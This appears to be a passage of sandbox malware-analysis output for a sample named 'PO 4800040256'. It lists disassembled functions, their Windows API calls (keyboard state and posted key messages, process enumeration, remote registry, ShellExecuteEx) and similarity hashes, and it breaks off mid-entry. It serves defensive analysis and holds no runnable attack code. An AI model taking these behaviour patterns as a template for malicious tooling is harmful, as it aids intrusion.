                                                                                                                                                                      Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                      • _memset.LIBCMT ref: 004538C4
                                                                                                                                                                      • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00453960
                                                                                                                                                                      • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                                                                                      • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 3530711334-4108050209
                                                                                                                                                                      • Opcode ID: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                                      • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                                                                                      • Opcode Fuzzy Hash: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                                      • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                                                                                      Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                                                                                      • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                                                                                      • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 3488606520-2761332787
                                                                                                                                                                      • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                      • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                                                                                      • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                      • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                                                                                      Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                        • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                        • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                      • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                      • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                      • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                      • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                      • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                      • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                      • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4082120231-0
                                                                                                                                                                      • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                      • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                                                                                      • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                      • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                                                                                      Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                        • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                        • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                      • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                      • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                      • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                      • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                      • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                      • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                      • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4082120231-0
                                                                                                                                                                      • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                      • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                                                                                                      • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                      • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                                                                                                      Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 288456094-0
                                                                                                                                                                      • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                      • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                                                                                                      • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                      • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                                                                                                      Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetParent.USER32(?), ref: 004449B0
                                                                                                                                                                      • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                                                                                      • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                                                                                      • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                                                                                      • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                                                                                      • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                                                                                      • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 87235514-0
                                                                                                                                                                      • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                      • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                                                                                      • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                      • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                                                                                      Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetParent.USER32(?), ref: 00444BA9
                                                                                                                                                                      • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                                                                                      • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                                                                                      • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                                                                                      • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                                                                                      • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                                                                                      • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 87235514-0
                                                                                                                                                                      • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                      • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                                                                                      • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                      • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                                                                                      Function 004498BD Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                      • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                                                                                                      • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                      • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                                                                                                      Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ConnectRegistry_wcslen
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 535477410-2761332787
                                                                                                                                                                      • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                      • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                                                                                      • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                      • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                                                                                      Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 00457C34
                                                                                                                                                                      • _memset.LIBCMT ref: 00457CE8
                                                                                                                                                                      • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                                                                                                      • String ID: <$@
                                                                                                                                                                      • API String ID: 1325244542-1426351568
                                                                                                                                                                      • Opcode ID: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                                                                                      • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                                                                                                      • Opcode Fuzzy Hash: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                                                                                      • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                                                                                                      Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                                                                                                      • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 004737E1
                                                                                                                                                                        • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                      • _wcscat.LIBCMT ref: 004737F6
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00473818
                                                                                                                                                                      • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2547909840-0
                                                                                                                                                                      • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                      • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                                                                                                      • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                      • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                                                                                                      Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                                                                                                                      • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                                                                                                      • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2354583917-0
                                                                                                                                                                      • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                      • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                                                                                                      • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                      • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                                                                                                      Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                      • GetMenu.USER32 ref: 004776AA
                                                                                                                                                                      • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                                                                                                      • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                                                                                                      • _wcslen.LIBCMT ref: 0047771A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
